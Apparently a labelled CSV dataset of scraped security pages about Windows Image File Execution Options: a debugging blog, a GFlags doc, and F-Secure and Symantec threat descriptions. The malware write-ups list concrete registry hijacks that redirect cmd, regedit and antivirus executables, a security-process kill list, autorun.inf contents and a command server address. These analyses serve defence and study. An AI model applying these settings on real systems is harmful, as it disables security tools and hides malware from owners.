2017. FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017. Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017. Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Image File Execution Options (IFEO) \xe2\x80\x93 MITHUN SHANBHAG's blog This site uses cookies for analytics, personalized content and ads. By continuing to browse this site, you agree to this use. Learn more | Search MSDN Search all blogs Search this blog Sign in MITHUN SHANBHAG's blog MITHUN SHANBHAG's blog Image File Execution Options (IFEO) \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 \xe2\x98 Mithun ShanbhagMarch 24, 2010 Share 0 0 [NOTE: This is a repost from my old blog www.debugtricks.com. The old blog no longer exists and I'll be migrating my old posts over to this blog.] \xc2 Image File Execution options provides you with a mechanism to always launch an executable directly under the debugger. This is extremely useful if you ever need to investigate issues in the executable's startup code (services especially). You can set the IFEO options directly via the registry or indirectly using the Gflags tools (available with the Window debugging toolkit).\xc2 \xc2 \xc2 You need to create a registry key and populate it with a value as follows - Key\xc2 ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"" Value\xc2 Debugger : REG_SZ : \xc2 \xc2 \xc2 You do not need the full path to the application, only the exe name will suffice. However you do need the full path to the debugger.\xc2 As an example, we look at launching notepad under ntsd, you would be creating the following - Key\xc2 ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe"" Value\xc2 Debugger : REG_SZ : ""c:\\dbg\\ntsd.exe -g"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 You can also use Gflags to set IFEO too - \xc2 \xc2 \xc2 \xc2 How does IFEO work?\xc2 \xc2 \xc2 \xc2 Kernel32!CreateProcess when called without the DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS creation flags, checks the registry to see if IFEO has been set on the executable that it is launching. If yes, then it simply prepends the debugger path to the executable name, effectively getting the executable to launch under the debugger. If you do not specify the correct path to the debugger, then you'll probably get greeted with a ""file not found"" error. In our notepad/ntsd example above, Kernel32!CreateProcess ends up invoking - ""c:\\dbg\\ntsd.exe -g\xc2 notepad.exe""\xc2 \xc2 \xc2 \xc2 Now ntsd eventually launches notepad under the debugger by calling Kernel32!CreateProcess with one of the following creation flags - DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS. The presence of any of these creation flags forces Kernel32!CreateProcess to bypass IFEO options this time around (else we would have been running into an endless loop) and actually launch the executable under the debugger.\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 IFEO and 64 bit -\xc2 \xc2 \xc2 \xc2 A word of caution - For 32 bit executable running in the WOW on X64 machines, your natural tendency might be to create the registry key in the syswow node - ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\""\xc2 \xc2 \xc2 \xc2 However Gregg Miskelly notes that you should set the IFEO corresponding to the bit-ness to the application calling into kernel32!CreateProcess to launch the executable -\xc2 \xc2 \xc2 \xc2 ""On Win 64, there are two copies of HKEY_LOCAL_MACHINE\\Software (one for 32-bit apps, and one for 64-bit apps), and therefore there are two copies of these options. However, where the operating system looks isn't dependant on the bit-ness of the application that is going to be debugged (which is what you would probably expect). Instead, it is dependent on the bit-ness of the application that called CreateProcess."" \xc2 \xc2 Other IFEO caveats -\xc2 Raymond Chen notes the following caveat in his blog entry\xc2 - ""If you passed special parameters via the STARTUPINFO structure, those parameters get passed to the debugger. And the PROCESS_INFO that is returned by the CreateProcess function describes the debugger, not the process being debugged."" \xc2 \xc2 \xc2 IFEO and Managed debuggers - IFEO can only be used for native or interop debugging, but not for managed debugging. Mike Stall has an excellent blog entry that describes in great detail exactly why. The gist is this - Managed debuggers like Mdbg/cordbg/VS.NET use ICorDebug::CreateProcess to launch managed executables under the debugger. However for managed debugging, the debugger should call ICorDebug::CreateProcess without the DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS creation flags (this is publicly documented). This API internally ends up calling Kernel32!CreateProcess without the DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS creation flags. This leads to the endless loop that I described above. Is this an ICorDebug API design flaw?\xc2 Not really. Just an oversight in my opinion - The API designers missed one scenario. Maybe in the next version of the CLR this will be fixed (I do not know for sure). \xc2 \xc2 \xc2 Some excellent resources on IFEO - [MSDN] Launching the debugger automatically (How to launch VS debugger using IFEO) [Mike Stall] \xc2 IFEO and managed debugging [Raymond Chen] Image File Execution options just inserts the debugger in front of the command line [Gregg Miskelly] Inside 'Image File Execution Options' debugging [Junfeng Zhang] \xc2 Image File Execution Options (talks about the other not-so-well documented IFEO options) \xc2 \xc2 \xc2 Exercise for reader - Does IFEO work with other Win32 APIs like ShellExecute, CreateProcessAsUser, CreateProcessWithLogonW and CreateProcessWithTokenW? \xc2 \xc2 \xc2 TIP of the day - Question - System services can launch before the user has a chance to log on. So how do you debug the startup code of these system services? Answer - Put the machine under kernel Debugger (KD), use IFEO to launch the service under NTSD (use ntsd's\xc2 ""-d"" option to pipe the ntsd output to KD) and reboot the machine. When the system service launches, it will be launched under ntsd.\xc2 The ntsd debugger will automatically cause it break into KD when it encounters the initial loader breakpoint. The debugging session will begin in user mode automatically (yipee!). After you are done debugging, switch control to KD by issuing "".breakin"" command. \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Tags Debugging LinkFest Skip to main content Follow Us Popular Tags Debugging CLR Windows Programming LinkFest Soccer Archives January 2013\xc2 (1) August 2012\xc2 (1) March 2011\xc2 (1) March 2010\xc2 (1) December 2009\xc2 (1) July 2007\xc2 (1) May 2007\xc2 (1) December 2006\xc2 (3) November 2006\xc2 (1) All of 2013\xc2 (1) All of 2012\xc2 (1) All of 2011\xc2 (1) All of 2010\xc2 (1) All of 2009\xc2 (1) All of 2007\xc2 (2) All of 2006\xc2 (7) Privacy Terms of Use Trademarks \xc2\xa9 2019 Microsoft","0","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"GFlags Overview - Windows drivers | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents GFlags Overview 06/12/2018 2 minutes to read In this article GFlags (gflags.exe), the Global Flags Editor, enables and disables advanced internal system diagnostic and troubleshooting features. You can run GFlags from a Command Prompt window or use its graphical user interface dialog box. For information on how to install and locate gflags.exe, see GFlags. Use GFlags to activate the following features: Registry Set system-wide debugging features for all processes running on the computer. These settings are stored in the GlobalFlag registry entry (HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\GlobalFlag). They take effect when you restart Windows and remain effective until you change them and restart again. Kernel flag settings Set debugging features for this session. These settings are effective immediately, but are lost when Windows shuts down. The settings affect all processes started after this command completes. Image file settings Set debugging features for a particular program. These settings are stored in a GlobalFlag registry entry for each program (HKEY_LOCAL_MACHINE\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ Image File Execution Options\\ ImageFileName\\ GlobalFlag). They take effect when you restart the program and remain effective until you change them. Debugger Specify that a particular program always runs in a debugger. This setting is stored in the registry. It is effective immediately and remains effective until you change it. (This feature is available only in the Global Flags dialog box.) Launch Run a program with the specified debugging settings. The debugging settings are effective until the program stops. (This feature is available only from the Global Flags dialog box.) Special Pool Request that allocation with a specified pool tag or of a specified size are filled from the special pool. This feature helps you to detect and identify the source of errors in kernel pool use, such as writing beyond the allocated memory space, or referring to memory that has already been freed. Beginning in Windows Vista, you can enable, disable, and configure the special pool feature (Kernel Special Pool Tag) as a kernel flags setting, which does not require a reboot, or as a registry setting, which requires a reboot. Page heap verification Enable, disable, and configure page heap verification for a program. When enabled, page heap monitors dynamic heap memory operations, including allocation and free operations, and causes a debugger break when it detects a heap error. Silent process exit Enable, disable, and configure monitoring and reporting of silent exits for a process. You can specify actions that occur when a process exits silently, including notification, event logging, and creation of dump files. For more information, see Monitoring Silent Process Exit. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Backdoor:W32/Hupigon.EMV Description | F-Secure Labs Javascript is disabled in your web browser For full functionality of this site it is necessary to enable JavaScript. Here are the instructions how to enable JavaScript in your web browser. en_GLOBAL Labs Home Discover Whitepapers Threat Descriptions Security Advisories Articles Terminology Notify Submit A Sample Vulnerability Reward Program VRP Hall of Fame Spam Recategorization Resolve Removal Instructions Tools Consult Classification Guide Potentially Unwanted Applications Policies Enroll Home User Beta Program Business User Beta Program For home For business For partners Global Backdoor:W32/Hupigon.EMV GO TO: Summary | Removal | Technical Details Classification Category: Malware Type: Backdoor Platform: W32 Aliases: Backdoor.Win32.Hupigon.emv Summary A backdoor is a Remote Administration Tools (RAT) that expose infected machines to external control via the Internet by remote attackers. Removal Automatic action Based on the settings of your F-Secure security product, it will either move the file to the quarantine where it cannot spread or cause harm, or remove it. Find out more Knowledge Base Find the latest advice in our Community Knowledge Base. User Guide See the user guide for your product on the Help Center. Contact Support Chat with or call an expert for help. Submit a sample Submit a file or URL for further analysis. Technical Details This backdoor is detected as a member of the Hupigon family. the Backdoor:W32/Hupigon description provides additional details.Copies itself to: %Windows%\\dllhost.exe %Windows%\\setuprs1.PIF Replicates these original Windows applications with an additional ""EXE"" extension: %Windows%\\system32\\cmd.exe to %Windows%\\system32\\cmd.exe.exe %Windows%\\regedit.exe to %Windows%\\regedit.exe.exe Hupigon.EMV attempts to disable/redirect Windows applications using the following registry entries: HKLM\\Software\\Microsoft\\Windows NT\\ CurrentVersion\\Image File Execution Options\\cmd.exe Debugger = setuprs1.PIF HKLM\\Software\\Microsoft\\Windows NT\\ CurrentVersion\\Image File Execution Options\\regedit.exe Debugger = setuprs1.PIF HKLM\\Software\\Microsoft\\Windows NT\\ CurrentVersion\\Image File Execution Options\\regedt32.exe Debugger = setuprs1.PIF HKLM\\Software\\Microsoft\\Windows NT\\ CurrentVersion\\Image File Execution Options\\msconfig.exe Debugger = 7303.PIF Registers itself as Windows COM+ System Application service using these registry entries: HKLM\\System\\CurrentControlSet\\Services\\COMSystemApp Type = 00000110 HKLM\\System\\CurrentControlSet\\Services\\COMSystemApp ErrorControl = 00000000 HKLM\\System\\CurrentControlSet\\Services\\COMSystemApp ImagePath = C:\\WINDOWS\\dllhost.exe -netsvcs HKLM\\System\\CurrentControlSet\\Services\\COMSystemApp DisplayName = COM+ System Applications Attempts to locate and terminate the following process: 360tray.exe autoruns.exe avp.exe avpcc.exe cpf.exe ewido.exe FireTray.exe FireWall.exe FYFireWall.exe jpf.exe kav.exe KAVPF.exe KavPFW.EXE kpf4gui.exe KPFW32.EXE KVCenter.kxp KvMonXP.kxp KVXP.kxp McAfeeFire.exe mmc.exe outpost.exe PFW.exe procexp.exe Ras.exe RfwMain.EXE RRfwMain.EXE runiep.exe ssgui.exe SysSafe.exe TrojDie.kxp WoptiProcess.exe Attempts to close windows containing these strings: ZoneAlarm ZoneAlarm Pro Attempts to connect to 218.16.138.64 on TCP port 81. Propagation It attempts to propagate by creating ""\\runauto..\\autorun.pif"" and ""\\autorun.inf"" on all available drives, including removable drives.The autorun.inf file is detected as Worm.Win32.AutoRun.dms.The autorun.inf appears as: [AutoRun] open=RUNAUT~1\\autorun.pif shell\\1=´ò¿ª(&O) shell\\1\\Command=RUNAUT~1\\autorun.pif shell\\2\\=ä¯ÀÀ(&B) shell\\2\\Command=RUNAUT~1\\autorun.pif shellexecute=RUNAUT~1\\autorun.pif To make sure it will only run once, the mutex ""Red_Server_2007"" is created. File System Changes Create these directories: %drive%\\runauto..\\ Date Created: - Date Last Modified: - For Home For Home Products Download Renew For Business For Business Products and services Downloads and hotfixes Support For Partners For Partners Resellers Retailers Operators Blogs Blogs Safe and Savvy Business Security Insider F-Secure Labs About About News Investors Careers Offices Labs Labs Latest threats Remove threats Submit a sample Beta programs Support Knowledge base Community For Home For Business Global \xc2\xa9 F-Secure 2017 Terms of service Privacy policy Contact \xc3\x97 Choose your country or region Global Europe Belgi\xc3\xab Belgique \xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd0\xb8\xd1\x8f Danmark Eesti Suomi France Deutschland \xce\x95\xce\xbb\xce\xbb\xce\xac\xce\xb4\xce\xb1 Magyarorsz\xc3\xa1g Italia Nederland Norge Polska Rom\xc3\xa2nia \xd0 \xd0\xbe\xd1\x81\xd1\x81\xd0\xb8\xd1\x8f Slovenia Espania Sverige T\xc3\xbcrkiye UK Americas USA Brasil Latin America Asia & Pacific Australia \xe4\xb8\xad\xe5\x9b\xbd Hong Kong India \xe6\x97\xa5\xe6\x9c\xac Malaysia New Zealand Directed to the Global website Website managed by a local partner","0","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Trojan.Ushedix | Symantec Search ENTERPRISE ENTERPRISE \xc2 \xc2 250+ BUSINESS \xc2 \xc2 1-250 PARTNERNET \xc2 \xc2 Sign In Required Products & Services Products & Services Home Products A-Z Integrated Cyber Defense Integrated Cyber Defense Advanced Threat Protection Advanced Threat Protection Information Protection Information Protection Endpoint Security Endpoint Security Email Security Email Security Web & Network Security Web & Network Security Cloud App Security Cloud App Security Services Services Business Security Business Security OTHER BRANDS Norton LifeLock ID Analytics DigiCert Website Security Norton LifeLock ID Analytics DigiCert Website Security Integrated Cyber Defense Integrated Cyber Defense Core Services Advanced Threat Protection Information Protection Control Points Endpoint Security Email Security Web & Network Security Cloud App Security The cloud is full of risk. Your security posture shouldn't be. Our Integrated Cyber Defense Platform lets you focus on your priorities \xc3\xa2\xe2\x82\xac\xe2\x80\x9d digital transformations, supply chain security, cloud migration, you name it \xc3\xa2\xe2\x82\xac\xe2\x80\x9d knowing you are protected from end to end Learn More Advanced Threat Protection Advanced Threat Protection Endpoint Protection Family Endpoint Detection and Response (EDR) Messaging Security Family Email Threat Detection and Response Hybrid Cloud Security Family Encrypted Traffic Management Family Secure Web Gateway Family Content & Malware Analysis Network Forensics & Security Analytics Web Isolation WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Information Protection Information Protection DLP Family Data Loss Prevention Data Loss Prevention Cloud & Symantec CloudSOC Data Loss Prevention Cloud Service for Email Information Centric Security Family Information Centric Analytics Information Centric Tagging Information Centric Encryption Identity Family VIP Enterprise VIP Consumer Encryption Family Endpoint Encryption Desktop Email Encryption File Share Encryption Accelerate Your GDPR Readiness with The GDPR for Dummies guide Read the Guide Endpoint Security Endpoint Security Endpoint Protection Family Endpoint Protection Endpoint Protection Mobile Endpoint Detection and Response (EDR) Endpoint Threat Defense for Active Directory Endpoint Security Suites IOT Family Hybrid Cloud Security Family Storage Protection Cloud Workload Protection Data Center Security Endpoint Management Family Client Management Suite Server Management Suite Asset Management Suite Ghost Solution Suite A Leader once again in 2019 Gartner Magic Quadrant for Endpoint Protection Platforms Read the Report Email Security Email Security Messaging Security Family Email Security.cloud Messaging Gateway Email Threat Detection and Response Phishing Readiness Mail Security for Microsoft Exchange DLP Family Data Loss Prevention Cloud Service for Email Encryption Family Desktop Email Encryption Gateway Email Encryption Symantec named a Leader in The Forrester Wave\xc3\xa2\xe2\x80\x9e\xc2\xa2: Enterprise Email Security, Q2 2019 Read the Report Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Web & Network Security Web & Network Security Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation ProxySG and Advanced Secure Gateway Content & Malware Analysis WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy Management Center and Reporting Encrypted Traffic Management Family SSL Visibility Appliance Network Performance Optimization Family MACH5 PacketShaper Cloud Access Security Broker (CASB) Family DLP Family Identity Family 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Cloud App Security Cloud App Security Cloud Access Security Broker (CASB) Family CloudSOC Audit \xc3\xa2\xe2\x82\xac\xe2\x80\x9c Shadow IT CloudSOC CASB Gateway CloudSOC CASB for SaaS CloudSOC CASB for IaaS Hybrid Cloud Security Family Cloud Workload Protection Control Compliance Suite Storage Protection Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation Malware Analysis Service Trusted Mobile Device Security Service Web Application Firewall & Reverse Proxy DLP Family Data Loss Prevention Cloud and Symantec CloudSOC Data Loss Prevention Cloud Service for Email Email Security Family Email Security.cloud Email Threat Detection and Response Identity Family VIP Security without compromise: the broadest, deepest protection for the public cloud Learn More Services Services Cyber Security Services Managed Security Services - Threat Monitoring DeepSight Intelligence Technical Intelligence Adversary Intelligence Incident Response Services Emergency Response Retainers and Response Readiness Managed Endpoint Detection and Response Service Other Services Consulting Services Education Services Premium Support Find Out Why Symantec is a Gartner MQ Leader 15 years running Read the Report Business Security Business Security Products Endpoint Protection Cloud Endpoint Protection Cloud Server Drive Encryption Endpoint Protection Small Business Edition Pricing Learn My Account Shop Online Welcome to the New Symantec Business Security Experience! Shopping for the right business products and managing your account is now easier than ever. Shop Now Solutions Solutions Home Topics Topics Industries Industries Government Government Cloud Cloud Topics Topics Advanced Threat Protection Cloud Security Election Security GDPR & Data Privacy Internet of Things (IoT) Security Office 365 Security Secure Access Zero Trust Security Symantec Internet of Things (IOT) Security Unveiling the industry\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s first neural network to protect critical infrastructure from cyber warfare Learn More Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Industry Solutions Industry Solutions Automotive Education Financial Services Global Service Providers Industrial Control Systems Healthcare Retail Cyber Security and Healthcare: An Evolving Understanding of Risk An ISTR Executive Healthcare Summary for Healthcare Professionals Read the Summary Government Solutions Government Solutions Federal Government State & Local Election Security 2018 Democracy is impossible without cyber security The good news? It\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s not too late to take basic steps to preserve the integrity of our elections\xc3\xa2\xe2\x82\xac\xe2\x80\x9dright now Learn More Cloud Solutions Cloud Solutions Amazon Web Services Oracle Cloud AWS Security Best Practices Guide and Configuration Checklist Symantec has worked together with AWS to develop an essential guide to AWS security Download Now Support Center Support Center Home Technical Support Technical Support Symantec Connect Symantec Connect Manage Your Product Manage Your Product Training Training Norton Support Technical Support Technical Support Product A-Z MySymantec Licensing Portal Symantec Earns TSIA Global Rated Outstanding, Assisted & Self Service Support Certification Learn More Symantec Connect Forums Blogs User Groups How to Find a Symantec Product Forum This two-step guide helps you find product support and information in the Connect user community Read the Guide Manage Your Product Maintenance Licensing Information Getting Started Renewals Software Upgrades Policies Connect User Community A peer-to-peer community for Symantec business customers, partners, and employees Join the Conversation Training Training Courses Certification E-Library Security Awareness Service Symantec Certification Validate your investment in training and experience, and boost your credibility today Learn More Security Center Security Center Home Updates Updates Advisories Advisories Publications Publications Tools Tools Topics Topics Updates Updates Virus Definitions & Updates Threats Risks Vulnerabilities 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. Read the Report Advisories Advisories Symantec Security Advisories Analysis from Symantec\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Global Threat Intelligence Team Unparalleled understanding and commentary on the cyber threats affecting businesses today Stay Informed Publications Publications ISTR CSTR Blogs Monthly Threat Report Endpoint Protection Mobile Threat Reports Security White Papers Research Labs 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. \xc3\x82\xc2 Read the Report Tools Tools Removal Tools Spyware Removal Treating Infected Systems Legitimate Files in Quarantine Symantec Cyber Security Brief Podcast Cyber Security news and analysis by Symantec threat researchers Listen and Subscribe Topics Topics Ransomware Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Blogs Blogs Home Blogs Blogs Categories Categories Threat Intelligence Featured Stories Expert Perspectives Product Insights Corporate Responsibility Diversity & Inclusion Symantec Connect Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Partner Partners Home Partner with Symantec Partner with Symantec PartnerNet PartnerNet TIPP TIPP Partner with Symantec Partner with Symantec Find a Partner Become a Partner Product Resources for Partners Sign in to PartnerNet Sign in to TIPP Contact Partner Service Contact Partner Service with questions about partnering opportunities and your existing business with Symantec Learn More PartnerNet PartnerNet My Dashboard Products Marketing Partner Support Center Training Other Resources Financial Benefits Partner Licensing Partner Renewal Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report TIPP TIPP My Dashboard Marketing TIPP Support Center Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report United States / English Sign In/Register Hi My Account Log out Security Center / Trojan.Ushedix Trojan.Ushedix Printer Friendly Page Summary Technical Description Removal Discovered: June 28, 2008 Updated: June 28, 2008 10:56:37 AM Type: Trojan Infection Length: 19,381 bytes Systems Affected: Windows Trojan.Ushedix is a Trojan horse that replaces system files and infects the user32.dll file in order to download potentially malicious files. Antivirus Protection Dates Initial Rapid Release version June 28, 2008 revision 001 Latest Rapid Release version May 07, 2019 revision 006 Initial Daily Certified version June 28, 2008 revision 004 Latest Daily Certified version May 07, 2019 revision 008 Initial Weekly Certified release date July 02, 2008 Click here for a more detailed description of Rapid Release and Daily Certified virus definitions. Technical Description When the Trojan is executed, it creates the following file: C:\\NBA_Temp\\__nba_ok__ It then replaces the following files with its components: %System%\\dxdiag.exe (Trojan.Ushedix) %System%\\winhlp32.exe (Trojan.Ushedix) Next, the Trojan creates the following registry entries in order to disable certain security programs: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avp.com\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\runiep.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\PFW.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\FYFireWall.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwmain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwsrv.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVPF.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFW32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\nod32kui.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\nod32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Navapsvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Navapw32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avconsol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\webscanx.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\NPFMntor.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\vsstat.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPfwSvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Ras.exe\\""Debugger"" = ""ntsd -d"" 